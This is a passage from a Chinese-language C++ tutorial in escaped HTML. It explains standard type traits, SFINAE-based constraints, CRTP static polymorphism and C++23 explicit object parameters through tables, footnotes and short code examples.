&lt;td&gt;检查 &lt;code&gt;U&lt;/code&gt; 能否赋值给 &lt;code&gt;T&lt;/code&gt; [^14]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_copy_assignable_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 能否拷贝赋值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_move_assignable_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 能否移动赋值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_destructible_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt; 能否析构 [^15]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::has_virtual_destructor_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;~T()&lt;/code&gt; 是否为虚函数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_invocable_v&amp;lt;T, Args...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查能否以参数类型 &lt;code&gt;Args...&lt;/code&gt; 调用 &lt;code&gt;T&lt;/code&gt; [^16]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_invocable_r_v&amp;lt;Ret, T, Args...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;同上，并检查返回类型是否为 &lt;code&gt;Ret&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;[^11]: 返回 &lt;code&gt;true&lt;/code&gt;，当且仅当 &lt;code&gt;std::swap(std::declval&amp;lt;T&amp;gt;(), std::declval&amp;lt;U&amp;gt;())&lt;/code&gt; 在不求值语境中是良构的．&lt;/p&gt;
&lt;p&gt;[^12]: 等价于 &lt;code&gt;std::is_swappable_with_v&amp;lt;T&amp;amp;, T&amp;amp;&amp;gt;&lt;/code&gt;，只要 &lt;code&gt;T&lt;/code&gt; 是可引用的类型 (其实就是非 &lt;code&gt;void&lt;/code&gt;)，就返回 &lt;code&gt;true&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^13]: 返回 &lt;code&gt;true&lt;/code&gt;，当且仅当 &lt;code&gt;T obj(std::declval&amp;lt;Args&amp;gt;()...);&lt;/code&gt; 在不求值语境中是良构的．&lt;/p&gt;
&lt;p&gt;[^14]: 返回 &lt;code&gt;true&lt;/code&gt;，当且仅当 &lt;code&gt;std::declval&amp;lt;T&amp;gt;() = std::declval&amp;lt;U&amp;gt;()&lt;/code&gt; 在不求值语境中是良构的．&lt;/p&gt;
&lt;p&gt;[^15]: &lt;code&gt;T&lt;/code&gt; 是引用类型，或者 &lt;code&gt;std::declval&amp;lt;U&amp;amp;&amp;gt;().~U()&lt;/code&gt; 在不求值语境中是良构的，其中 &lt;code&gt;U&lt;/code&gt; 是 &lt;code&gt;T&lt;/code&gt; 移除所有多维数组维度后的类型，即 &lt;code&gt;using U = std::remove_all_extents_t&amp;lt;T&amp;gt;;&lt;/code&gt;，返回 &lt;code&gt;true&lt;/code&gt;；对于可带 cv 限定的 &lt;code&gt;void&lt;/code&gt;、函数类型、未知边界的数组，返回 &lt;code&gt;false&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^16]: 只要是能被 &lt;code&gt;std::invoke&lt;/code&gt; 调用的类型都被称为 &lt;code&gt;invocable&lt;/code&gt;，如函数、函数指针、成员函数指针、仿函数、lambda 表达式 (匿名仿函数)、&lt;code&gt;std::function&lt;/code&gt; 对象、&lt;code&gt;std::bind&lt;/code&gt; 对象．&lt;code&gt;std::is_invocable_v&amp;lt;T&amp;gt;&lt;/code&gt; 仅检查语法上能否调用，可触发隐式转换．&lt;/p&gt;
&lt;h4&gt;类型关系&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_same_v&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt;, &lt;code&gt;U&lt;/code&gt; 是否相同 [^17]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_convertible_v&amp;lt;From, To&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;From&lt;/code&gt; 能否隐式转换 [^18] 成 &lt;code&gt;To&lt;/code&gt; [^19]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_base_of_v&amp;lt;Base, Derived&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;Base&lt;/code&gt; 是否为 &lt;code&gt;Derived&lt;/code&gt; 的基类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_virtual_base_of_v&amp;lt;Base, Derived&amp;gt;&lt;/code&gt; (C++26)&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;Base&lt;/code&gt; 是否为 &lt;code&gt;Derived&lt;/code&gt; 的虚基类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_layout_compatible_v&amp;lt;T, U&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;T&lt;/code&gt;, &lt;code&gt;U&lt;/code&gt; 在内存布局上是否兼容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_pointer_interconvertible_base_of_v&amp;lt;B, D&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;D *&lt;/code&gt; 能否安全转成 &lt;code&gt;B *&lt;/code&gt; [^20]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::is_pointer_interconvertible_with_class(M S::*mp)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;检查 &lt;code&gt;S *&lt;/code&gt; 能否安全转成 &lt;code&gt;M *&lt;/code&gt; [^21]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;[^17]: cv 限定符也要完全相同．&lt;/p&gt;
&lt;p&gt;[^18]: &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/implicit_conversion.html&quot;&gt;&lt;strong&gt;隐式转换&lt;/strong&gt;&lt;/a&gt; 主要发生在算术类型的标准转换、cv 限定的添加、从派生类到基类的指针/引用转换、从基类到派生类的成员 (变量/函数) 指针转换、从数组/函数到指针的类型退化、用户定义的非 &lt;code&gt;explicit&lt;/code&gt; 单参构造函数、用户定义的 &lt;code&gt;explicit&lt;/code&gt; 转换函数、函数实参到形参的转换、函数返回值到返回类型的转换．&lt;/p&gt;
&lt;p&gt;[^19]: 若 &lt;code&gt;From&lt;/code&gt; 和 &lt;code&gt;To&lt;/code&gt; 都是可能带 cv 限定的 &lt;code&gt;void&lt;/code&gt;，则返回 &lt;code&gt;true&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^20]: &lt;code&gt;D&lt;/code&gt; 必须是标准内存布局 [^9]，才能保证从 &lt;code&gt;D *&lt;/code&gt; 转来的 &lt;code&gt;B *&lt;/code&gt; 仍能正常工作，否则 &lt;code&gt;D&lt;/code&gt; 的首地址将存放非空基类 &lt;code&gt;B&lt;/code&gt; 的信息．此外如果 &lt;code&gt;D&lt;/code&gt; 和 &lt;code&gt;B&lt;/code&gt; 相同，返回 &lt;code&gt;true&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^21]: &lt;code&gt;s.*mp&lt;/code&gt; (即 &lt;code&gt;s.m&lt;/code&gt;) 与 &lt;code&gt;s&lt;/code&gt; 首地址重合，相当于 &lt;code&gt;S&lt;/code&gt; 必须是标准内存布局 [^8]，否则首地址将存放非空基类信息．此时 &lt;code&gt;reinterpret_cast&amp;lt;M&amp;amp;&amp;gt;(s)&lt;/code&gt; 能唯一指代 &lt;code&gt;s.m&lt;/code&gt;．此外要返回 &lt;code&gt;true&lt;/code&gt;，&lt;code&gt;M&lt;/code&gt; 得是对象类型，&lt;code&gt;mp&lt;/code&gt; 是非空指针．&lt;/p&gt;
&lt;h3&gt;类型查询&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::alignment_of_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查询 &lt;code&gt;T&lt;/code&gt; 的对齐字节数，即 &lt;code&gt;alignof(T)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::rank_v&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查询 &lt;code&gt;T&lt;/code&gt; 作为多维数组时的维数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::extent_v&amp;lt;T, N&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查询 &lt;code&gt;T&lt;/code&gt; 作为多维数组时在第 &lt;code&gt;N&lt;/code&gt; 维的元素数量 [^22]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::invoke_result_t&amp;lt;F, Args...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查询以参数类型 &lt;code&gt;Args...&lt;/code&gt; 调用 &lt;code&gt;T&lt;/code&gt; 返回的类型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;[^22]: 若相应维度的元素数量未知，则返回 &lt;code&gt;0&lt;/code&gt;．&lt;/p&gt;
&lt;h3&gt;类型处理&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::add_const_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; const T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::add_volatile_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; volatile T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::add_cv_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; const volatile T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::add_lvalue_reference_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; T &amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::add_rvalue_reference_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; T &amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::add_pointer_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; T *&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_const_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;const T -&amp;gt; T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_volatile_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;volatile T -&amp;gt; T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_cv_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;const volatile T -&amp;gt; T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_reference_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T &amp;amp;/&amp;amp;&amp;amp; -&amp;gt; T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_cvref_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;const volatile T &amp;amp;/&amp;amp;&amp;amp; -&amp;gt; T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::unwrap_reference_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::reference_wrapper&amp;lt;T&amp;gt;/T -&amp;gt; T/T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::unwrap_ref_decay_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::reference_wrapper&amp;lt;T&amp;gt;/T -&amp;gt; T/std::decay_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::decay_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;U[N] -&amp;gt; U *&lt;/code&gt; / &lt;code&gt;U(...) -&amp;gt; U(*)(...)&lt;/code&gt; / &lt;code&gt;cv U&amp;amp; -&amp;gt; U&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_extent_t&amp;lt;T[N]&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T[N] -&amp;gt; T&lt;/code&gt; 移除一个维度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_all_extents_t&amp;lt;T[I]...[N]&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T[I]...[N] -&amp;gt; T&lt;/code&gt; 移除所有维度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::remove_pointer_t&amp;lt;T *&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T * -&amp;gt; T&lt;/code&gt;，非指针类型 &lt;code&gt;T -&amp;gt; T&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::common_reference_t&amp;lt;T...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;转换成 &lt;code&gt;T...&lt;/code&gt; 的公共类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::enable_if_t&amp;lt;bool, T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; T/&lt;/code&gt;，若 &lt;code&gt;false&lt;/code&gt; 则代换失败，用于 SFINAE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::conditional_t&amp;lt;bool, T, F&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; T/F&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::void_t&amp;lt;T...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T... -&amp;gt; void&lt;/code&gt;，用于 SFINAE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::type_identity_t&amp;lt;T&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;T -&amp;gt; T&lt;/code&gt;，用于非推断语境&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trait 运算&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Traits&lt;/th&gt;
&lt;th&gt;Desc&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::integral_constant&amp;lt;T, v&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;把 &lt;code&gt;v&lt;/code&gt; 封装进 &lt;code&gt;static constexpr T value&lt;/code&gt;，包装输出&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::bool_constant&amp;lt;b&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::integral_constant&amp;lt;bool, b&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::true_type / std::false_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;std::bool_constant&amp;lt;true / false&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::conjunction_v&amp;lt;B...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;对 &lt;code&gt;B...&lt;/code&gt; 进行逻辑合取 [^23]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::disjunction_v&amp;lt;B...&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;对 &lt;code&gt;B...&lt;/code&gt; 进行逻辑析取 [^24]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;std::negation_v&amp;lt;B&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;对 &lt;code&gt;B&lt;/code&gt; 进行逻辑非 [^25]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;[^23]: 若 &lt;code&gt;sizeof...(B)&lt;/code&gt; 为 &lt;code&gt;0&lt;/code&gt;，则 &lt;code&gt;std::conjunction&amp;lt;B...&amp;gt;&lt;/code&gt; 继承 &lt;code&gt;std::true_type&lt;/code&gt;，否则继承第一个 &lt;code&gt;bool(B::value)&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt; 的 &lt;code&gt;B&lt;/code&gt;，若 &lt;code&gt;bool(B::value) &amp;amp;&amp;amp; ...&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt;，继承最后一个 &lt;code&gt;B&lt;/code&gt;．&lt;code&gt;B&lt;/code&gt; 通常是 &lt;code&gt;std::true_type / std::false_type&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^24]: 若 &lt;code&gt;sizeof...(B)&lt;/code&gt; 为 &lt;code&gt;0&lt;/code&gt;，则 &lt;code&gt;std::disjunction&amp;lt;B...&amp;gt;&lt;/code&gt; 继承 &lt;code&gt;std::false_type&lt;/code&gt;，否则继承第一个 &lt;code&gt;bool(B::value)&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt; 的 &lt;code&gt;B&lt;/code&gt;，若 &lt;code&gt;bool(B::value) || ...&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt;，继承最后一个 &lt;code&gt;B&lt;/code&gt;．&lt;code&gt;B&lt;/code&gt; 通常是 &lt;code&gt;std::true_type / std::false_type&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;[^25]: 继承 &lt;code&gt;std::bool_constant&amp;lt;!bool(B::value)&amp;gt;&lt;/code&gt;．&lt;/p&gt;
&lt;h2&gt;约束类型&lt;/h2&gt;
&lt;h3&gt;利用 SFINAE 约束类型&lt;/h3&gt;
&lt;p&gt;在模板实参推导或函数类型推导中，代换失败并不是错误，编译器仅在重载集中抛弃该特化，不会编译失败．在 C++20 之前，我们可以利用这一点对模板类型参数进行约束．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的代换失败，发生在 &lt;em&gt;immediate context&lt;/em&gt; 中，即&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;模板函数模板形参中的默认实参类型/表达式&lt;/li&gt;
&lt;li&gt;模板函数形参类型&lt;/li&gt;
&lt;li&gt;模板函数返回值类型&lt;/li&gt;
&lt;li&gt;模板类模板形参中的默认实参类型/表达式&lt;/li&gt;
&lt;li&gt;模板类模板参数列表里的类型/表达式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;函数模板签名里直接写到的类型/表达式都会出现在 &lt;em&gt;immediate context&lt;/em&gt;．在这个语境因代换失败发生的错误，才被称为 &lt;em&gt;SFINAE error&lt;/em&gt;．如果是触发了别的模板实例化、隐式成员生成等连锁反应而间接导致的错误是 &lt;em&gt;hard error&lt;/em&gt; (会导致编译错误)．&lt;/p&gt;
&lt;p&gt;最经典的例子就是 &lt;code&gt;&amp;lt;..., class = typename B&amp;lt;T&amp;gt;::type&amp;gt;&lt;/code&gt;，要想取出 &lt;code&gt;type&lt;/code&gt;，必须实例化 &lt;code&gt;B&amp;lt;T&amp;gt;&lt;/code&gt;，一旦实例化失败 (比如 &lt;code&gt;B&amp;lt;T&amp;gt;&lt;/code&gt; 不含 &lt;code&gt;type&lt;/code&gt;)，则发生 &lt;em&gt;hard error&lt;/em&gt;．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[案例 1]
对 &lt;code&gt;template &amp;lt;size_t N&amp;gt; void foo() {}&lt;/code&gt; 中的 &lt;code&gt;N&lt;/code&gt; 约束：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;N&lt;/code&gt; 为偶数
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据 &lt;em&gt;SFINAE error&lt;/em&gt; 触发的位置和方式，可以有下面几种写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1
template &amp;lt;size_t N&amp;gt;
void foo(char (*)[N % 2 == 0] = nullptr) {
  std::println(&quot;N is even&quot;);
}

// 2
template &amp;lt;size_t N&amp;gt;
void foo(std::enable_if_t&amp;lt;N % 2 == 0, int&amp;gt; = 0) {
  std::println(&quot;N is even&quot;);
}

// 3
template &amp;lt;size_t N&amp;gt;
auto foo() -&amp;gt; decltype(std::declval&amp;lt;int[N % 2 == 0]&amp;gt;(), void()) {
  std::println(&quot;N is even&quot;);
}

// 4
template &amp;lt;size_t N, std::enable_if_t&amp;lt;N % 2 == 0, int&amp;gt; = 0&amp;gt;
void foo() {
  std::println(&quot;N is even&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;利用 Concept 约束类型&lt;/h3&gt;
&lt;h2&gt;CRTP&lt;/h2&gt;
&lt;p&gt;CRTP (Curiously Recurring Template Pattern) 可以在编译期间把派生类的类型作为模板参数传递给基类．&lt;/p&gt;
&lt;h3&gt;实现「静态多态」/「接口约定」&lt;/h3&gt;
&lt;p&gt;所谓「静态多态」就是在编译期确定行为绑定，通过统一接口适配不同类型的具体实现．函数重载就是一种「静态多态」．&lt;/p&gt;
&lt;p&gt;CRTP 通过模板参数将派生类型注入基类，使得基类能在编译期调用派生类的具体实现，从而实现基类定义接口、派生类提供实现的「静态多态」．&lt;/p&gt;
&lt;p&gt;CRTP 让派生类的基类各不相同，&lt;strong&gt;失去了在抽象层处理的能力&lt;/strong&gt;，比如将不同派生类型的对象放入基类容器里、通过基类指针调用具体派生类实现等；而动态多态就可以，并能在运行时确定具体派生类型，从而调用具体派生类的实现．&lt;/p&gt;
&lt;p&gt;:::note[另一种角度]
上面是网上很多人使用的表述．也可以这么认为：CRTP 起到&lt;strong&gt;使不同类存在若干相同接口的成员函数&lt;/strong&gt;的约定作用，没有什么继承关系．
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;class T&amp;gt;
class Weapon {
protected:
  float power;

public:
  void attack() {
    auto that = static_cast&amp;lt;T*&amp;gt;(this);
    if (that-&amp;gt;can_level_up()) {
      that-&amp;gt;fix_impl();
      power += that-&amp;gt;value;
    }
    that-&amp;gt;attack_impl();
  }

  void fix() {
    auto that = static_cast&amp;lt;T*&amp;gt;(this);
    that-&amp;gt;fix_impl();
  }
};

class Bow : public Weapon&amp;lt;Bow&amp;gt; {
  friend class Weapon&amp;lt;Bow&amp;gt;;
protected:
  int value;
public:
  bool can_level_up() { /* ... */ }
  void fix_impl() { /* ... */ }
  void attack_impl() { /* ... */ }
};

class Gun : public Weapon&amp;lt;Gun&amp;gt; {
  friend class Weapon&amp;lt;Gun&amp;gt;;
protected:
  int value;
public:
  bool can_level_up() { /* ... */ }
  void fix_impl() { /* ... */ }
  void attack_impl() { /* ... */ }
};

template &amp;lt;class T&amp;gt;
void fix_weapon(Weapon&amp;lt;T&amp;gt; &amp;amp;wp) { wp.fix(); }

int main() {

  std::vector&amp;lt;std::unique_ptr&amp;lt;Weapon&amp;gt;&amp;gt; wps;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C++23 可以向非静态成员函数显式传入对象自身，在此之前都是通过隐式传入 &lt;code&gt;this&lt;/code&gt; 指针实现的．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct A {
  void f(int x, int y) const;             // void f(int, int) const &amp;amp;;
  void g(float x, bool y);                // void g(float, bool) &amp;amp;;

  void func(this A &amp;amp;self, int x);         // void func(int) &amp;amp;;
  void func(this A const &amp;amp;self, int x);   // void func(int) const;
  void func(this A &amp;amp;&amp;amp;self, int x);        // void func(int) &amp;amp;&amp;amp;;
  void func(this A const &amp;amp;&amp;amp;self, int x);  // void func(int) const &amp;amp;&amp;amp;;
  void gunc(this A self, float y);        // 按值传入对象自身

  // void gunc(this A &amp;amp;self, float y);    // 会和 gunc(this A, float) 歧义
  void hunc(this A &amp;amp;self) {               // void hunc() &amp;amp;;
    // this-&amp;gt;func(7);                     // 使用 this-deducing 后无法再使用 this
    self.func(7);                         // this-&amp;gt;func(7) / func(7)
  }
};

A a;
A const ca;
A *pa = &amp;amp;a;
A const *pca = &amp;amp;ca;

void (A::*pf)(int, int) const = &amp;amp;A::f;    // 成员函数指针
void (*pfunc)(A const &amp;amp;, int) = &amp;amp;A::func; // 普通函数指针

a.f(4, 9); (a.*pf)(4, 9); (pa-&amp;gt;*pf)(4, 9); std::invoke(pf, a, 4, 9);
// pf(a, 4, 9); pf(pa, 4, 9);             // pf 是成员函数指针，需 std::invoke 调用
ca.func(7); pfunc(ca, 7); std::invoke(pfunc, ca, 7);
// (ca.*pfunc)(7); (pca-&amp;gt;*pfunc)(7);      // pfunc 是普通函数指针

struct B {
  template &amp;lt;class T&amp;gt;
  void f(this T&amp;amp; self)                    // &amp;amp; / const &amp;amp;
  template &amp;lt;class T&amp;gt;
  void func(this T&amp;amp;&amp;amp; self);               // &amp;amp; / const &amp;amp; / &amp;amp;&amp;amp; / const &amp;amp;&amp;amp;
  void gunc(this auto&amp;amp;&amp;amp; self);            // 同上，转发引用
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;self&lt;/code&gt; 是实打实的派生对象而不是基类指针，这意味着我们不再需要把指针类型转换到实际派生类型了．&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Weapon {
protected:
  float power;

public:
  void attack(this auto&amp;amp;&amp;amp; self) {
    if (self.can_level_up()) {
      self.fix_impl();
      self.power += self.value;
    }
    self.attack_impl();
  }

  void fix(this auto&amp;amp;&amp;amp; self) {
    self.fix_impl();
  }
};

class Bow : public Weapon {
  friend class Weapon;
protected:
  int value;
public:
  bool can_level_up() { /* ... */ }
  void fix_impl() { /* ... */ }
  void attack_impl() { /* ... */ }
};

class Gun : public Weapon {
  friend class Weapon;
protected:
  int value;
public:
  bool can_level_up() { /* ... */ }
  void fix_impl() { /* ... */ }
  void attack_impl() { /* ... */ }
};


template &amp;lt;class T&amp;gt;
  requires std::is_base_of_v&amp;lt;Weapon, T&amp;gt;
